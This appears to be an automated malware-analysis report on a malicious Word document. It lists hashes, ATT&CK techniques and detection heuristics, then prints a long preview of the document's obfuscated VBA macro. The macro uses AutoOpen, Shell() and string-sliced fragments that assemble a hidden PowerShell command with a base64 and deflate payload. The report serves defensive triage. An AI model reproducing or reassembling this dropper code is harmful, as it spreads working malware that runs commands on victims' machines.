Office (OLE) malware analysis — malicious · 958d49fde8f1d7d5

MALICIOUS

Office (OLE)

114.0 KB Created: 2018-05-23 13:41:00 Authoring application: Microsoft Office Word First seen: 2018-06-21

MD5: e1cc9b2a6ac4743436a5e902ab5f40ba SHA-1: dc3f9bfe500a83690cffd04fbc03185933b296f6 SHA-256: 958d49fde8f1d7d5767bc728762b696113d5d7e422170ef63cd41aac59ed25a2

204 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro fires upon opening and utilizes a Shell() call, indicating an attempt to execute arbitrary commands. The obfuscated script strings likely reconstruct commands to download and execute a second-stage payload, a common dropper behavior.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6556045-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6556045-0
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Matched line in script
```
' Line #367:
'  Ld Shell
'  Ld lBljJrMjhUm
```
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	129529 bytes
SHA-256: `0b835f1ef529f200ca4ae0d3d96fc8c6182627ac7cee7e564f3d4c93cd2e82b1`
Detection ClamAV: No threats found Obfuscation or payload: likely 344 of 467 identifiers look randomly generated (e.g. 'i6c25o5TNul5q5TALigjcF0t8DZTjCFZvavtP2Ph') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "IsOMqNqqiQsr" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function OOuXFkPDirT() On Error Resume Next thUrTfb = OJDBDRch + CSng(687366) + 796075 / Sin(122938 - CByte(981610) / 997252 - Round(687366)) + zJJYEU * JLDZvtw - (796075 + 122938 + 981610 - 6873660) Set QCQvAA = KiYlSvE ORscZKZElz = "i3rshell zOAoW4rYcfwezHJXCKDZ-jCFZva" YUccGtGJ = CStr(Left(Right(ORscZKZElz, 24), 1)) + Left(Right(ORscZKZElz, 17), 2) + CStr(Left(Right(ORscZKZElz, 34), 5)) + CStr(Left(Right(ORscZKZElz, 29), 2)) + CStr(Left(Right(ORscZKZElz, 7), 1)) + Left(Right(ORscZKZElz, 23), 1) XRzlPRwQzF = "i3wsTyleA hAdj4iYdfaUzHJnDoDZTjCFZvaidJ2PhsWl" ZGmFM = CStr(Left(Right(XRzlPRwQzF, 30), 1)) + Left(Right(XRzlPRwQzF, 21), 3) + CStr(Left(Right(XRzlPRwQzF, 43), 6)) + Left(Right(XRzlPRwQzF, 36), 2) + CStr(Left(Right(XRzlPRwQzF, 9), 2)) + CStr(Left(Right(XRzlPRwQzF, 28), 1)) YRiGiSl = "6c25x-oBjECT io.CoHmpReSZTjCFZvaven2Ph.DlcrKGWfoCzujmP ( nEWFBv4oTvfIdBmEkYuKzw2oSIoNCoWKsJWJBGZhmWmb" aanVFbhm = CStr(Left(Right(YRiGiSl, 68), 2)) + CStr(Left(Right(YRiGiSl, 47), 6)) + CStr(Left(Right(YRiGiSl, 97), 14)) + CStr(Left(Right(YRiGiSl, 82), 5)) + Left(Right(YRiGiSl, 20), 4) + CStr(Left(Right(YRiGiSl, 63), 2)) + CStr(Left(Right(YRiGiSl, 29), 1)) kmSEElidsi = "i3esTREAM([Adj4rFc.aUzHJXCLATTjCFZvavtJiohsWlcrK" kzEiK = CStr(Left(Right(kmSEElidsi, 32), 1)) + CStr(Left(Right(kmSEElidsi, 22), 3)) + CStr(Left(Right(kmSEElidsi, 46), 7)) + CStr(Left(Right(kmSEElidsi, 39), 2)) + Left(Right(kmSEElidsi, 9), 2) + Left(Right(kmSEElidsi, 30), 1) GzYtSIDqouJ = "3i6rySTReAMdj4rYcfMUz][SCKDZTeMoZvavysTPhsWlcrKGWfoCzu" hnqEPHvL = CStr(Left(Right(GzYtSIDqouJ, 36), 1)) + CStr(Left(Right(GzYtSIDqouJ, 25), 3)) + CStr(Left(Right(GzYtSIDqouJ, 51), 8)) + Left(Right(GzYtSIDqouJ, 33), 3) + Left(Right(GzYtSIDqouJ, 18), 3) EIjTZTMw = "6c25VeRT]::FroMfbASEJXCKDZTeMFZTrvtJ2PhsWlcr.conoCzujmPYQisOgFBv464sfIdBm7kYuKzw2" EmZisKmlPDJ = CStr(Left(Right(EIjTZTMw, 54), 2)) + Left(Right(EIjTZTMw, 37), 4) + Left(Right(EIjTZTMw, 77), 11) + CStr(Left(Right(EIjTZTMw, 65), 4)) + CStr(Left(Right(EIjTZTMw, 16), 3)) + CStr(Left(Right(EIjTZTMw, 50), 2)) + Left(Right(EIjTZTMw, 24), 1) ihhKfRmEbb = "Z 'bR6Zr5xNzOAdjG(YcfaUzHTXCKD" Jidzr = Left(Right(ihhKfRmEbb, 20), 1) + Left(Right(ihhKfRmEbb, 14), 2) + CStr(Left(Right(ihhKfRmEbb, 29), 4)) + CStr(Left(Right(ihhKfRmEbb, 24), 2)) + CStr(Left(Right(ihhKfRmEbb, 5), 1)) wuuzM = fAcYJNEXZZ + CSng(158302) + 786837 / Sin(452645 - CByte(985248) / 497487 - Round(158302)) + mPOaIAs * kTnflQOJzs - (786837 + 452645 + 985248 - 1583020) Set buvArwzUJj = ZqEvGAEbqtC TFNLJhT = "Z8PtJ9c259AzOAdtIrYcfaxzHJX" zITLaHqM = Left(Right(TFNLJhT, 18), 1) + CStr(Left(Right(TFNLJhT, 12), 2)) + CStr(Left(Right(TFNLJhT, 26), 4)) + Left(Right(TFNLJhT, 22), 1) + CStr(Left(Right(TFNLJhT, 5), 1)) PpwTo = Chr(43) dpbAdwJTKB = "ZTsJvEra5xAsOAdj4r6kfaUzHJX3KDZTj" XoHizvZoE = Left(Right(dpbAdwJTKB, 22), 1) + CStr(Left(Right(dpbAdwJTKB, 15), 2)) + CStr(Left(Right(dpbAdwJTKB, 32), 5)) + Left(Right(dpbAdwJTKB, 27), 2) + Left(Right(dpbAdwJTKB, 6), 1) KtLlw = "ZKk0l6Dt5xszOAdjXVYcfaUzHOXCKD" iNrIY = Left(Right(KtLlw, 20), 1) + Left(Right(KtLlw, 14), 2) + CStr(Left(Right(KtLlw, 29), 4)) + CStr(Left(Right(KtLlw, 24), 2)) + CStr(Left(Right(KtLlw, 5), 1)) BpiBMnoa = "i3i6VEUoZNjHBJIbCsfaUzHJJCKLlTjCFZvavtJdw17WlcrKGWfoCzujmPxlGsOgFBv4oTvf" lGGXHi = CStr(Left(Right(BpiBMnoa, 48), 1)) + CStr(Left(Right(BpiBMnoa, 33), 4)) + CStr(Left(Right(BpiBMnoa, 68), 10)) + CStr(Left(Right(BpiBMnoa, 58), 4)) + CStr(Left(Right(BpiBMnoa, 14), 3)) + Left(Right(BpiBMnoa, 45), 2) JiizwB = "3iM7oxD6zOAdjvrCEfaUz9/XCKWzTjCFZvavtJ2" PlCTdXqDIZl = CStr(Left(Right(JiizwB, 26), 1)) + CStr(Left(Right(JiizwB, 18), 2)) + CStr(Left(Right(JiizwB, 37), 6)) + Left(Right(JiizwB, 24), 2) + CStr(Left(Right(JiizwB, 13), 2)) JCTcl = "i6c257Lb1W178czi8WI2rPJuIXZTjCFZvavt87PhsXX/rKGWfoCzujmPYQ7tTMcWv4oTvfIdBm7kYuKzw2ou0Fegi/0sJWJBGZhmWmb0WYo8" zCiqfYTO = Left(Right(JCTcl, 72), 2) + CStr(Left(Right(JCTcl, 50), 6)) + CStr(Left(Right(JCTcl, 102), 15)) + Left(Right(JCTcl, 87), 5) + Left(Right(JCTcl, 21), 4) + CStr(Left(Right(JCTcl, 67), 3)) + CStr(Left(Right(JCTcl, 103), 1)) PKJMBaLI = "i3iDoO0G37TRMm4rYcfmUawJXCKDZTjJRdvavtJ2PhsWlc22GWfoCzujm" vuzEcG = CStr(Left(Right(PKJMBaLI, 38), 1)) + CStr(Left(Right(PKJMBaLI, 26), 3)) + Left(Right(PKJMBaLI, 54), 8) + Left(Right(PKJMBaLI, 46), 3) + CStr(Left(Right(PKJMBaLI, 11), 2)) + CStr(Left(Right(PKJMBaLI, 36), 2)) GGPbzoTi = rDPBRmL + CSng(325345) + 554226 / Sin(797695 - CByte(897956) / 845814 - Round(325345)) + IJjEKhwDcCA * ZGuVDA - (554226 + 797695 + 897956 - 3253450) Set ckRoVMYGqMu = clafwzUvZTY AunON = "JtZIibi6Y25xAzO" uLKcsiEU = CStr(Left(Right(AunON, 10), 1)) + Left(Right(AunON, 7), 1) + CStr(Left(Right(AunON, 15), 2)) + CStr(Left(Right(AunON, 12), 1)) Guibq = Chr(43) EGBWVJOr = "6c25xQA4jeGA1QBnxBQHPjAiCZTjCFZvavAM2PhAMlcrKGWfoCzujmP4ETbJlFBv4oTvfIdBmekYuKzw2orhCJCoWKsJWJBGZhmWmb" IWFcwrEOU = CStr(Left(Right(EGBWVJOr, 68), 2)) + CStr(Left(Right(EGBWVJOr, 47), 6)) + CStr(Left(Right(EGBWVJOr, 97), 14)) + CStr(Left(Right(EGBWVJOr, 82), 5)) + Left(Right(EGBWVJOr, 20), 4) + CStr(Left(Right(EGBWVJOr, 63), 2)) + CStr(Left(Right(EGBWVJOr, 29), 1)) oWFYEScwc = "i3iXLbAH0AiBD5grYcfaUxHJAOKDZTjCFZIEZiJ2PhsWlcrKGWfB4zujmPYQisO" jAqhzQzU = Left(Right(oWFYEScwc, 42), 1) + CStr(Left(Right(oWFYEScwc, 29), 4)) + CStr(Left(Right(oWFYEScwc, 60), 9)) + CStr(Left(Right(oWFYEScwc, 51), 3)) + Left(Right(oWFYEScwc, 12), 2) + Left(Right(oWFYEScwc, 39), 2) wfqwqAMiOn = qwNqP + CSng(538310) + 642278 / Sin(468277 - CByte(278042) / 504576 - Round(538310)) + johNY * TZJKmwYMOY - (642278 + 468277 + 278042 - 5383100) Set WGkflh = kMPiwN EmwWkw = "6c25QC4AlhBOgDYfRBzSJXCKDZTjgCZvqgtJ2PhsWlcrKGeAFQMujmPYQisOCFBv4oT8gjdBm7kYuKzw2ou0" ENSkFVIop = CStr(Left(Right(EmwWkw, 56), 2)) + CStr(Left(Right(EmwWkw, 38), 5)) + Left(Right(EmwWkw, 80), 11) + Left(Right(EmwWkw, 68), 4) + Left(Right(EmwWkw, 17), 3) + Left(Right(EmwWkw, 52), 2) + CStr(Left(Right(EmwWkw, 24), 1)) ErwMu = "6c25xAADAArnU9k1/ZnXUX/6/cHjCFZvavtJ2PpAWlccEnWfoCzujmPYQisOgFSKIHS6fIdBm7kYuKzw2M70FeCoWKspwFpGZhmWmb0WYo8c1qd5jw" zmRoZOKHdNR = CStr(Left(Right(ErwMu, 76), 2)) + Left(Right(ErwMu, 52), 6) + Left(Right(ErwMu, 108), 16) + CStr(Left(Right(ErwMu, 92), 5)) + Left(Right(ErwMu, 23), 4) + Left(Right(ErwMu, 71), 3) + Left(Right(ErwMu, 33), 2) ODtBuViuW = "i3i6vU6ThPD3qbYDH3faUzHJkCKqETjCFZvavtJRao6WlcrKGWfoCzujmP56lsOgFBv4oTvf" IWzICRRR = CStr(Left(Right(ODtBuViuW, 48), 1)) + CStr(Left(Right(ODtBuViuW, 33), 4)) + CStr(Left(Right(ODtBuViuW, 68), 10)) + CStr(Left(Right(ODtBuViuW, 58), 4)) + CStr(Left(Right(ODtBuViuW, 14), 3)) + Left(Right(ODtBuViuW, 45), 2) cvcLRlKKzT = "6c25x3wAwoCnfOFsYG2ZGK8CDZTjCFZvaDCJ2PQIWlcrKGWfoCzujmv1VpDOgFBv4oTvfIIBm7kYuKzw5ASIFeCoWKsJWJBGZhm" UcwZFhHOhMS = CStr(Left(Right(cvcLRlKKzT, 66), 2)) + Left(Right(cvcLRlKKzT, 45), 5) + CStr(Left(Right(cvcLRlKKzT, 94), 14)) + Left(Right(cvcLRlKKzT, 80), 5) + Left(Right(cvcLRlKKzT, 19), 4) + CStr(Left(Right(cvcLRlKKzT, 61), 2)) + CStr(Left(Right(cvcLRlKKzT, 29), 1)) lNSkO = "Zc1eEkJk5xASOAdj4rWTfaUzHJXHKDZTj" ijtldQOIt = Left(Right(lNSkO, 22), 1) + CStr(Left(Right(lNSkO, 15), 2)) + CStr(Left(Right(lNSkO, 32), 5)) + Left(Right(lNSkO, 27), 2) + Left(Right(lNSkO, 6), 1) JKzZDYDbks = "9KV" ZOjEvkwTrW = Left(Right(JKzZDYDbks, 2), 1) BcJUPUhC = Chr(43) bjuTAitZLC = "i3ibtwEcdGKKQJmQYcfaUzHIXCQFZTjCFZvavQJkshsWlcrKGWfoCzuAZbYQisOgFBv4o" wAztiqGWYAD = CStr(Left(Right(bjuTAitZLC, 46), 1)) + Left(Right(bjuTAitZLC, 32), 4) + Left(Right(bjuTAitZLC, 66), 10) + Left(Right(bjuTAitZLC, 56), 3) + CStr(Left(Right(bjuTAitZLC, 14), 3)) + Left(Right(bjuTAitZLC, 43), 2) MLCHockT = "6c25xY76wD7UojY51KCfriCKDZTjCFZ21vtgYPhsWlcrKGWfoCV/Bn5YQisOgFBv4oyvfIdBm70KRKzw2ou0FeCoWKsJW" AiCisA = Left(Right(MLCHockT, 62), 2) + CStr(Left(Right(MLCHockT, 43), 5)) + CStr(Left(Right(MLCHockT, 88), 13)) + CStr(Left(Right(MLCHockT, 75), 4)) + Left(Right(MLCHockT, 19), 4) + CStr(Left(Right(MLCHockT, 58), 2)) + Left(Right(MLCHockT, 27), 1) aFiaurTPAw = mWTvf + CSng(266817) + 403201 / Sin(914217 - CByte(123437) / 559916 - Round(266817)) + ifDmBmWF * DVDzkd - (403201 + 914217 + 123437 - 2668170) Set FafsrTd = rcFdiscl didWYmOJZ = "3iBCJUxKzOAdjErdafaUzk4XCKoATjCFZvavtJ2" PmjVwolRc = CStr(Left(Right(didWYmOJZ, 26), 1)) + CStr(Left(Right(didWYmOJZ, 18), 2)) + CStr(Left(Right(didWYmOJZ, 37), 6)) + Left(Right(didWYmOJZ, 24), 2) + CStr(Left(Right(didWYmOJZ, 13), 2)) bbQqtSFUP = "3i6JksCXIl9qj4rYcfaUhHJg/oDZTjCFdmVvtJ2Pj9A9crKGWfoCzujmPYQi" wBFPRlLzfwA = Left(Right(bbQqtSFUP, 40), 1) + Left(Right(bbQqtSFUP, 28), 3) + CStr(Left(Right(bbQqtSFUP, 57), 9)) + CStr(Left(Right(bbQqtSFUP, 37), 3)) + CStr(Left(Right(bbQqtSFUP, 20), 4)) aaMrW = "i6c2xxjnEAVtKCcnNzenZJXCKDZTjbRZv0ttJ2PhsWlcrKGxrh0aujmPYQisOgFBv4oTvfK4Gm7kYuKzw2ou0Fe" ETzGsIKACo = CStr(Left(Right(aaMrW, 58), 2)) + Left(Right(aaMrW, 40), 5) + Left(Right(aaMrW, 82), 12) + Left(Right(aaMrW, 70), 4) + Left(Right(aaMrW, 17), 3) + CStr(Left(Right(aaMrW, 54), 2)) + CStr(Left(Right(aaMrW, 83), 1)) IHClwGQqdG = "6c25XgfFUnRWPJdf289WJXCKDZTrZFZI9vtJ2PhsWlcrDF0woCzujmPYQGsOgFBv4pK4fIdBm7kYuKzw2" vzqFS = CStr(Left(Right(IHClwGQqdG, 54), 2)) + Left(Right(IHClwGQqdG, 37), 4) + Left(Right(IHClwGQqdG, 77), 11) + CStr(Left(Right(IHClwGQqdG, 65), 4)) + CStr(Left(Right(IHClwGQqdG, 16), 3)) + CStr(Left(Right(IHClwGQqdG, 50), 2)) + Left(Right(IHClwGQqdG, 24), 1) GkMzZ = Chr(43) BcSvkk = "i3qsLgiclZOAdjermcfaUzHLq6KDZTjCFZPavtJ2Ph" unvjCCqzihZ = CStr(Left(Right(BcSvkk, 28), 1)) + CStr(Left(Right(BcSvkk, 19), 3)) + Left(Right(BcSvkk, 40), 6) + CStr(Left(Right(BcSvkk, 34), 2)) + CStr(Left(Right(BcSvkk, 8), 1)) + CStr(Left(Right(BcSvkk, 26), 1)) uKfwrwW = "i3pkL7VTgcoAdj4rycWaUzHJXCWBLTjCFZvavtJBLhsWlcrK" NVsvcGcvK = CStr(Left(Right(uKfwrwW, 32), 1)) + CStr(Left(Right(uKfwrwW, 22), 3)) + CStr(Left(Right(uKfwrwW, 46), 7)) + CStr(Left(Right(uKfwrwW, 39), 2)) + Left(Right(uKfwrwW, 9), 2) + Left(Right(uKfwrwW, 30), 1) JPajsvYNosf = Chr(43) JjQTX = "uXDRYZOM3i6c" FTwbHwL = Left(Right(JjQTX, 8), 1) + Left(Right(JjQTX, 5), 1) + Left(Right(JjQTX, 12), 2) OOuXFkPDirT = YUccGtGJ + ZGmFM + aanVFbhm + kzEiK + hnqEPHvL + EmZisKmlPDJ + Jidzr + zITLaHqM + PpwTo + XoHizvZoE + iNrIY + lGGXHi + PlCTdXqDIZl + zCiqfYTO + vuzEcG + uLKcsiEU + Guibq + IWFcwrEOU + jAqhzQzU + ENSkFVIop + zmRoZOKHdNR + IWzICRRR + UcwZFhHOhMS + ijtldQOIt + ZOjEvkwTrW + BcJUPUhC + wAztiqGWYAD + AiCisA + PmjVwolRc + wBFPRlLzfwA + ETzGsIKACo + vzqFS + GkMzZ + unvjCCqzihZ + NVsvcGcvK + JPajsvYNosf + FTwbHwL End Function Function WNaIrwLLHF() On Error Resume Next djTZvpSovkN = iWCfH + CSng(580503) + 612508 / Sin(117593 - CByte(430490) / 190970 - Round(580503)) + QVloRSBUtG * jmMGGstVYiq - (612508 + 117593 + 430490 - 5805030) Set hOKKPKKAOJ = ifNoSAYaw jCzjrzXiL = Chr(43) bqiKZD = "3i6ORFfaQIk8j4rYcfaUXHJ/yTDZTjCFS4XvtJ2PZ1m5crKGWfoCzujmPYQi" vjAwUp = Left(Right(bqiKZD, 40), 1) + Left(Right(bqiKZD, 28), 3) + CStr(Left(Right(bqiKZD, 57), 9)) + CStr(Left(Right(bqiKZD, 37), 3)) + CStr(Left(Right(bqiKZD, 20), 4)) NEfiIfcHkis = "6c25xz83hfdYVI/13WVHbNUNJZTjCFZvavWb2PhjVlcrKGWfoCzujmPOxgo3YFBv4oTvfIdBmvkYuKzw2ob9LNCoWKsJWJBGZhmWmb" SXcJa = CStr(Left(Right(NEfiIfcHkis, 68), 2)) + CStr(Left(Right(NEfiIfcHkis, 47), 6)) + CStr(Left(Right(NEfiIfcHkis, 97), 14)) + CStr(Left(Right(NEfiIfcHkis, 82), 5)) + Left(Right(NEfiIfcHkis, 20), 4) + CStr(Left(Right(NEfiIfcHkis, 63), 2)) + CStr(Left(Right(NEfiIfcHkis, 29), 1)) DtwjNnTZ = "6c25xA7X4NJx1qnxU25IpwCYfynHBFZvavtJ2Phkglcr66yfoCzujmPYQisOgFBPA/eDHIdBm7kYuKzw2ouyHeCoWKsJWHMM3hmWmb0WYo8c1qd5jwLrL" niuPLnL = CStr(Left(Right(DtwjNnTZ, 78), 2)) + CStr(Left(Right(DtwjNnTZ, 54), 6)) + Left(Right(DtwjNnTZ, 111), 16) + Left(Right(DtwjNnTZ, 94), 6) + CStr(Left(Right(DtwjNnTZ, 24), 4)) + CStr(Left(Right(DtwjNnTZ, 73), 3)) + CStr(Left(Right(DtwjNnTZ, 34), 2)) iKHTuFbrqV = "i6c25o5TNul5q5TALigjcF0t8DZTjCFZvavtP2PhgcCcrKGWfoCzujmPYl6NZucBv4oTvfIdBm7kYuKzw2ou1c6qoWKsJWJBGZhmWmb0W" bGISiWdfHa = CStr(Left(Right(iKHTuFbrqV, 70), 2)) + CStr(Left(Right(iKHTuFbrqV, 48), 6)) + CStr(Left(Right(iKHTuFbrqV, 99), 14)) + Left(Right(iKHTuFbrqV, 85), 5) + CStr(Left(Right(iKHTuFbrqV, 21), 4)) + CStr(Left(Right(iKHTuFbrqV, 65), 3)) + Left(Right(iKHTuFbrqV, 100), 1) nSsuXhZfpi = "i3/wm3yxuW8Adj4rIcQaUzHJXCicyTjCFZvavtJMnhsWlcrK" MHifZ = CStr(Left(Right(nSsuXhZfpi, 32), 1)) + CStr(Left(Right(nSsuXhZfpi, 22), 3)) + CStr(Left(Right(nSsuXhZfpi, 46), 7)) + CStr(Left(Right(nSsuXhZfpi, 39), 2)) + Left(Right(nSsuXhZfpi, 9), 2) + Left(Right(nSsuXhZfpi, 30), 1) dOLnWRbI = Chr(43) NLFzV = hYzCEohJzN + CSng(950635) + 702470 / Sin(243250 - CByte(819424) / 18211 - Round(950635)) + iXOOMlOC * zrwlAGQWv - (702470 + 243250 + 819424 - 9506350) Set EEcwfRBU = nKWnFAE YwjaMPVZW = "i3iRqXLHFSfLF6PrYcfaUeHJ4KKDZTjCFZI2dHJ2PhsWlcrKGWfxBzujmPYQisO" owiDiM = Left(Right(YwjaMPVZW, 42), 1) + CStr(Left(Right(YwjaMPVZW, 29), 4)) + CStr(Left(Right(YwjaMPVZW, 60), 9)) + CStr(Left(Right(YwjaMPVZW, 51), 3)) + Left(Right(YwjaMPVZW, 12), 2) + Left(Right(YwjaMPVZW, 39), 2) TBLhC = "3i6muFwDa12dj4rYcfBUz/yCCKDZT78AZvavH6YPhsWlcrKGWfoCzu" lQqOzifKsfD = CStr(Left(Right(TBLhC, 36), 1)) + CStr(Left(Right(TBLhC, 25), 3)) + CStr(Left(Right(TBLhC, 51), 8)) + Left(Right(TBLhC, 33), 3) + Left(Right(TBLhC, 18), 3) BcvRGjrTQl = "i37fLcpoAugAdj4SY3faUzHJ7PzDZTjCFZvaUOJ2PhsWl" NlCuta = CStr(Left(Right(BcvRGjrTQl, 30), 1)) + Left(Right(BcvRGjrTQl, 21), 3) + CStr(Left(Right(BcvRGjrTQl, 43), 6)) + Left(Right(BcvRGjrTQl, 36), 2) + CStr(Left(Right(BcvRGjrTQl, 9), 2)) + CStr(Left(Right(BcvRGjrTQl, 28), 1)) qafmnRlI = Chr(43) zrZvw = "i3mcn/1Zy/uAdj4rIcnaUzHJXC6H4TjCFZvavtJy9hsWlcrK" LzpPjzn = CStr(Left(Right(zrZvw, 32), 1)) + CStr(Left(Right(zrZvw, 22), 3)) + CStr(Left(Right(zrZvw, 46), 7)) + CStr(Left(Right(zrZvw, 39), 2)) + Left(Right(zrZvw, 9), 2) + Left(Right(zrZvw, 30), 1) zKwiKQvPOj = Chr(43) bzGPZRZtL = "ZRNYr6095x/zOAdjp6YcfaUzHBXCKD" amEodHWTFi = Left(Right(bzGPZRZtL, 20), 1) + Left(Right(bzGPZRZtL, 14), 2) + CStr(Left(Right(bzGPZRZtL, 29), 4)) + CStr(Left(Right(bzGPZRZtL, 24), 2)) + CStr(Left(Right(bzGPZRZtL, 5), 1)) WCdqlGqA = "ZVK486wC5xgzOAdjZuYcfaUzHLXCKD" wMaKw = Left(Right(WCdqlGqA, 20), 1) + Left(Right(WCdqlGqA, 14), 2) + CStr(Left(Right(WCdqlGqA, 29), 4)) + CStr(Left(Right(WCdqlGqA, 24), 2)) + CStr(Left(Right(WCdqlGqA, 5), 1)) HKLHKdhNv = kHzRCZ + CSng(535574) + 304895 / Sin(957580 - CByte(189477) / 939349 - Round(535574)) + HZccHEzT * JVHcPQscqi - (304895 + 957580 + 189477 - 5355740) Set jRlPwBVth = shwzZVFGz wjZKMBcbQjd = "6c25xTlO2TKIYsNwl9XTV5CKDZTjCFZY6vt2zPhsWlcrKGWfoCfC4MfYQisOgFBv4ozvfIdBm7s8ZLzw2ou0FeCoWKsJW" buoJnJ = Left(Right(wjZKMBcbQjd, 62), 2) + CStr(Left(Right(wjZKMBcbQjd, 43), 5)) + CStr(Left(Right(wjZKMBcbQjd, 88), 13)) + CStr(Left(Right(wjZKMBcbQjd, 75), 4)) + Left(Right(wjZKMBcbQjd, 19), 4) + CStr(Left(Right(wjZKMBcbQjd, 58), 2)) + Left(Right(wjZKMBcbQjd, 27), 1) adpChO = "i3B9uFm3AkVAdj4KYifaUzHJ0JTDZTjCFZva5wJ2PhsWl" DWLqKBviK = CStr(Left(Right(adpChO, 30), 1)) + Left(Right(adpChO, 21), 3) + CStr(Left(Right(adpChO, 43), 6)) + Left(Right(adpChO, 36), 2) + CStr(Left(Right(adpChO, 9), 2)) + CStr(Left(Right(adpChO, 28), 1)) FldowWAn = "3i6texdou8xXj4rYcfaUSHJpZmDZTjCFIHVvtJ2Pi6yjcrKGWfoCzujmPYQi" rCGpoNsEIlr = Left(Right(FldowWAn, 40), 1) + Left(Right(FldowWAn, 28), 3) + CStr(Left(Right(FldowWAn, 57), 9)) + CStr(Left(Right(FldowWAn, 37), 3)) + CStr(Left(Right(FldowWAn, 20), 4)) ZQmcPh = "6c25xL6d3eaZvxLKp85HU7ymvZTjCFZvavoG2Phd/lcrKGWfoCzujmPTk9P3eFBv4oTvfIdBmPkYuKzw2oXpBxCoWKsJWJBGZhmWmb" FnJTuK = CStr(Left(Right(ZQmcPh, 68), 2)) + CStr(Left(Right(ZQmcPh, 47), 6)) + CStr(Left(Right(ZQmcPh, 97), 14)) + CStr(Left(Right(ZQmcPh, 82), 5)) + Left(Right(ZQmcPh, 20), 4) + CStr(Left(Right(ZQmcPh, 63), 2)) + CStr(Left(Right(ZQmcPh, 29), 1)) PzSuQt = "i3UJYgDVxzOAWe4rYcfXOzHJXCKDZ8jCFZva" bAMztrKlpSu = CStr(Left(Right(PzSuQt, 24), 1)) + Left(Right(PzSuQt, 17), 2) + CStr(Left(Right(PzSuQt, 34), 5)) + CStr(Left(Right(PzSuQt, 29), 2)) + CStr(Left(Right(PzSuQt, 7), 1)) + Left(Right(PzSuQt, 23), 1) CNwEJlRStzw = "3i6JByxzfQ5dj4rYcfEUzuDqCKDZT79BZvav68IPhsWlcrKGWfoCzu" XWTWzFVm = CStr(Left(Right(CNwEJlRStzw, 36), 1)) + CStr(Left(Right(CNwEJlRStzw, 25), 3)) + CStr(Left(Right(CNwEJlRStzw, 51), 8)) + Left(Right(CNwEJlRStzw, 33), 3) + Left(Right(CNwEJlRStzw, 18), 3) fbnbbE = "i3ifCb07AjI8H8KdYcfaUzHgXCJ8ZTjCFZvavOjxyhsWlcrKGWfoCzuHndYQisOgFBv4o" vEiXsuRXj = CStr(Left(Right(fbnbbE, 46), 1)) + Left(Right(fbnbbE, 32), 4) + Left(Right(fbnbbE, 66), 10) + Left(Right(fbnbbE, 56), 3) + CStr(Left(Right(fbnbbE, 14), 3)) + Left(Right(fbnbbE, 43), 2) zNHwTzU = "6c25x1pjuOuP1af0mGOhQYCKDZTjCFZzyvtM6PhsWlcrKGWfoCy6kC9YQisOgFBv4o8vfIdBm7jSJ2zw2ou0FeCoWKsJW" GkpivfDNzi = Left(Right(zNHwTzU, 62), 2) + CStr(Left(Right(zNHwTzU, 43), 5)) + CStr(Left(Right(zNHwTzU, 88), 13)) + CStr(Left(Right(zNHwTzU, 75), 4)) + Left(Right(zNHwTzU, 19), 4) + CStr(Left(Right(zNHwTzU, 58), 2)) + Left(Right(zNHwTzU, 27), 1) DlOOTnmR = Chr(43) VjaETm = "i3rSfZHur4OAdjLrocfaUzH4vfKDZTjCFZeavtJ2Ph" OZXMjv = CStr(Left(Right(VjaETm, 28), 1)) + CStr(Left(Right(VjaETm, 19), 3)) + Left(Right(VjaETm, 40), 6) + CStr(Left(Right(VjaETm, 34), 2)) + CStr(Left(Right(VjaETm, 8), 1)) + CStr(Left(Right(VjaETm, 26), 1)) TQJYGfGWch = dBAwcM + CSng(951218) + 857895 / Sin(263502 - CByte(171490) / 536456 - Round(951218)) + mOuJa * lzPZOXBP - (857895 + 263502 + 171490 - 9512180) Set ocRRc = NHmzGaEmWu wnzTjSliz = "Z3Aa6Pc25IAzOAdvPrYcfatzHJX" lbMmEYToz = Left(Right(wnzTjSliz, 18), 1) + CStr(Left(Right(wnzTjSliz, 12), 2)) + CStr(Left(Right(wnzTjSliz, 26), 4)) + Left(Right(wnzTjSliz, 22), 1) + CStr(Left(Right(wnzTjSliz, 5), 1)) JkDHMjV = Chr(43) fTopWYF = "i3i6dMBYaeTSjbhcZJfaUzHJrCKvzTjCFZvavtJqk8WWlcrKGWfoCzujmPA8jsOgFBv4oTvf" UhAECzbcdqj = CStr(Left(Right(fTopWYF, 48), 1)) + CStr(Left(Right(fTopWYF, 33), 4)) + CStr(Left(Right(fTopWYF, 68), 10)) + CStr(Left(Right(fTopWYF, 58), 4)) + CStr(Left(Right(fTopWYF, 14), 3)) + Left(Right(fTopWYF, 45), 2) wijuopVmX = Chr(43) FpmwLicMvJ = "ZldTZ6vt5xazOAdjJuYcfaUzHlXCKD" kEOOq = Left(Right(FpmwLicMvJ, 20), 1) + Left(Right(FpmwLicMvJ, 14), 2) + CStr(Left(Right(FpmwLicMvJ, 29), 4)) + CStr(Left(Right(FpmwLicMvJ, 24), 2)) + 